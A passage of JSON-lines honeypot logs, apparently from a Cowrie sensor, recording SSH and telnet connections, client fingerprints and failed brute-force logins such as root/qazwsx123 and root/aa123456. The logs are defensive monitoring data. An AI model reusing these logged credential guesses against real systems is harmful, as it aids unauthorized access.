ert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:50.475229Z","src_ip":"192.109.200.78","session":"bcc9a7e62d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:50.728109Z","src_ip":"192.109.200.78","session":"bcc9a7e62d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.025585174560547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:50.815158Z","src_ip":"66.113.160.81","session":"ba129aba9082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":38196,"dst_ip":"159.203.135.109","dst_port":23,"session":"1faa2286ad4a","protocol":"telnet","message":"New connection: 103.176.85.233:38196 (159.203.135.109:23) [session: 1faa2286ad4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:51.529747Z"}
{"eventid":"cowrie.session.closed","duration":30.620786428451538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:51.746132Z","src_ip":"66.113.160.81","session":"dbe19277b4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:51.820138Z","src_ip":"192.109.200.78","session":"bcc9a7e62d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":38198,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a9f8bf17d7","protocol":"telnet","message":"New connection: 103.176.85.233:38198 (159.203.135.109:23) [session: c8a9f8bf17d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:52.520596Z"}
{"eventid":"cowrie.session.closed","duration":30.986504316329956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:52.744479Z","src_ip":"66.113.160.81","session":"1eb7ad753f59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71838617324829,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:52.749432Z","src_ip":"66.113.160.81","session":"8688de448d09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69428563117981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:53.134273Z","src_ip":"34.125.158.14","session":"4e65f1226cfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":38200,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6be85a117ad","protocol":"telnet","message":"New connection: 103.176.85.233:38200 (159.203.135.109:23) [session: e6be85a117ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:53.757161Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42454,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b4e7c41d2fb","protocol":"ssh","message":"New connection: 192.109.200.78:42454 (10.17.0.5:22) [session: 5b4e7c41d2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:54.624106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:54.629354Z","src_ip":"192.109.200.78","session":"5b4e7c41d2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.933335781097412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:54.712032Z","src_ip":"66.113.160.81","session":"10beabcf9a78","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:54.717287Z","src_ip":"192.109.200.78","session":"5b4e7c41d2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.422622203826904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:54.737400Z","src_ip":"66.113.160.81","session":"eec00a16b2c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":38214,"dst_ip":"159.203.135.109","dst_port":23,"session":"02fd22dfc212","protocol":"telnet","message":"New connection: 103.176.85.233:38214 (159.203.135.109:23) [session: 02fd22dfc212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:54.757506Z"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:54.968811Z","src_ip":"192.109.200.78","session":"5b4e7c41d2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.385939121246338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:55.252537Z","src_ip":"103.176.85.233","session":"d778b3dcc082","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.624523162841797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:55.372228Z","src_ip":"66.113.160.81","session":"94410f656cb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":38224,"dst_ip":"159.203.135.109","dst_port":23,"session":"714b2acb61c1","protocol":"telnet","message":"New connection: 103.176.85.233:38224 (159.203.135.109:23) [session: 714b2acb61c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:55.516039Z"}
{"eventid":"cowrie.session.closed","duration":30.975667238235474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:55.760446Z","src_ip":"66.113.160.81","session":"a9742633b508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:56.052977Z","src_ip":"192.109.200.78","session":"5b4e7c41d2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.203.48","src_port":52880,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea57f430d4a","protocol":"telnet","message":"New connection: 185.216.203.48:52880 (159.203.135.109:23) [session: 5ea57f430d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:56.775973Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":43328,"dst_ip":"159.203.135.109","dst_port":23,"session":"c970cf7da4ee","protocol":"telnet","message":"New connection: 172.104.129.70:43328 (159.203.135.109:23) [session: c970cf7da4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:56.780529Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":56854,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b51d2688d7","protocol":"telnet","message":"New connection: 69.60.120.238:56854 (159.203.135.109:23) [session: 45b51d2688d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:57.108396Z"}
{"eventid":"cowrie.session.closed","duration":30.861213207244873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:57.113541Z","src_ip":"139.59.95.121","session":"9d18219d3084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27968192100525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:57.161240Z","src_ip":"103.176.85.233","session":"c2fac5a918e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":59738,"dst_ip":"159.203.135.109","dst_port":23,"session":"21a4df3336de","protocol":"telnet","message":"New connection: 103.176.85.233:59738 (159.203.135.109:23) [session: 21a4df3336de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:57.508649Z"}
{"eventid":"cowrie.session.closed","duration":30.882779836654663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:57.706147Z","src_ip":"66.113.160.81","session":"e7209b09efb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":40744,"dst_ip":"159.203.135.109","dst_port":23,"session":"72c99fb69126","protocol":"telnet","message":"New connection: 137.184.59.230:40744 (159.203.135.109:23) [session: 72c99fb69126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:58.015231Z"}
{"eventid":"cowrie.session.closed","duration":31.03067398071289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:58.065482Z","src_ip":"157.250.199.120","session":"ca95b7cfa7a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86775302886963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:58.114653Z","src_ip":"69.60.120.238","session":"a0c3ca6be1d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40118,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a4102cc5225","protocol":"ssh","message":"New connection: 192.109.200.78:40118 (10.17.0.5:22) [session: 5a4102cc5225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:58.651005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:58.656008Z","src_ip":"192.109.200.78","session":"5a4102cc5225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:58.739097Z","src_ip":"192.109.200.78","session":"5a4102cc5225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":37968,"dst_ip":"159.203.135.109","dst_port":23,"session":"841ff139e432","protocol":"telnet","message":"New connection: 66.113.160.81:37968 (159.203.135.109:23) [session: 841ff139e432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:58.783152Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:58.993039Z","src_ip":"192.109.200.78","session":"5a4102cc5225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":38132,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb9b6e8837c5","protocol":"telnet","message":"New connection: 66.113.160.81:38132 (159.203.135.109:23) [session: fb9b6e8837c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:58.998831Z"}
{"eventid":"cowrie.session.closed","duration":30.647132873535156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:59.191699Z","src_ip":"103.176.85.233","session":"6fee5e9eb156","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.48090982437134,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:59.297502Z","src_ip":"5.42.229.203","session":"658c6b66b0d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.480623960494995,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:59.302387Z","src_ip":"5.42.229.203","session":"6c0e525350c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87521529197693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:59.721726Z","src_ip":"66.113.160.81","session":"5ec313a857a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:00.112864Z","src_ip":"192.109.200.78","session":"5a4102cc5225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.50","src_port":36102,"dst_ip":"159.203.135.109","dst_port":23,"session":"31026606c214","protocol":"telnet","message":"New connection: 31.186.175.50:36102 (159.203.135.109:23) [session: 31026606c214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:00.211689Z"}
{"eventid":"cowrie.session.closed","duration":30.51825451850891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:01.108268Z","src_ip":"31.186.175.50","session":"cb4c9d4bacae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742008686065674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:01.126712Z","src_ip":"157.250.199.120","session":"44fdd10bd359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":59752,"dst_ip":"159.203.135.109","dst_port":23,"session":"848b778aa2b2","protocol":"telnet","message":"New connection: 103.176.85.233:59752 (159.203.135.109:23) [session: 848b778aa2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:01.576005Z"}
{"eventid":"cowrie.session.closed","duration":30.389725923538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:01.697271Z","src_ip":"66.113.160.81","session":"4f2eb8f086ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40132,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fdb184ddfe6","protocol":"ssh","message":"New connection: 192.109.200.78:40132 (10.17.0.5:22) [session: 6fdb184ddfe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:02.688266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:02.693246Z","src_ip":"192.109.200.78","session":"6fdb184ddfe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.620280742645264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:02.701631Z","src_ip":"66.113.160.81","session":"83d8382016b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":59760,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cd5c6c34492","protocol":"telnet","message":"New connection: 103.176.85.233:59760 (159.203.135.109:23) [session: 4cd5c6c34492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:02.765568Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:02.776018Z","src_ip":"192.109.200.78","session":"6fdb184ddfe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":58598,"dst_ip":"159.203.135.109","dst_port":23,"session":"79c42c28622c","protocol":"telnet","message":"New connection: 69.60.120.238:58598 (159.203.135.109:23) [session: 79c42c28622c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:02.862508Z"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:03.468912Z","src_ip":"192.109.200.78","session":"6fdb184ddfe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:04.553435Z","src_ip":"192.109.200.78","session":"6fdb184ddfe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":59770,"dst_ip":"159.203.135.109","dst_port":23,"session":"6595d39abcb9","protocol":"telnet","message":"New connection: 103.176.85.233:59770 (159.203.135.109:23) [session: 6595d39abcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:04.619712Z"}
{"eventid":"cowrie.session.closed","duration":30.90563702583313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:05.729007Z","src_ip":"66.113.160.81","session":"f9724e38b1a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":59786,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d2be31723bd","protocol":"telnet","message":"New connection: 103.176.85.233:59786 (159.203.135.109:23) [session: 1d2be31723bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:05.751257Z"}
{"eventid":"cowrie.session.closed","duration":30.52391242980957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:06.136497Z","src_ip":"103.176.85.233","session":"4399addcc71e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.711753606796265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:06.403064Z","src_ip":"103.176.85.233","session":"f22e23958ff4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823102235794067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:06.493637Z","src_ip":"172.104.129.70","session":"f7a275ce6790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":34440,"dst_ip":"159.203.135.109","dst_port":23,"session":"315a52bb7d7e","protocol":"telnet","message":"New connection: 103.176.85.233:34440 (159.203.135.109:23) [session: 315a52bb7d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:06.542350Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40146,"dst_ip":"10.17.0.5","dst_port":22,"session":"4daa0477fd37","protocol":"ssh","message":"New connection: 192.109.200.78:40146 (10.17.0.5:22) [session: 4daa0477fd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:07.069542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:07.074758Z","src_ip":"192.109.200.78","session":"4daa0477fd37","protocol":"ssh"}
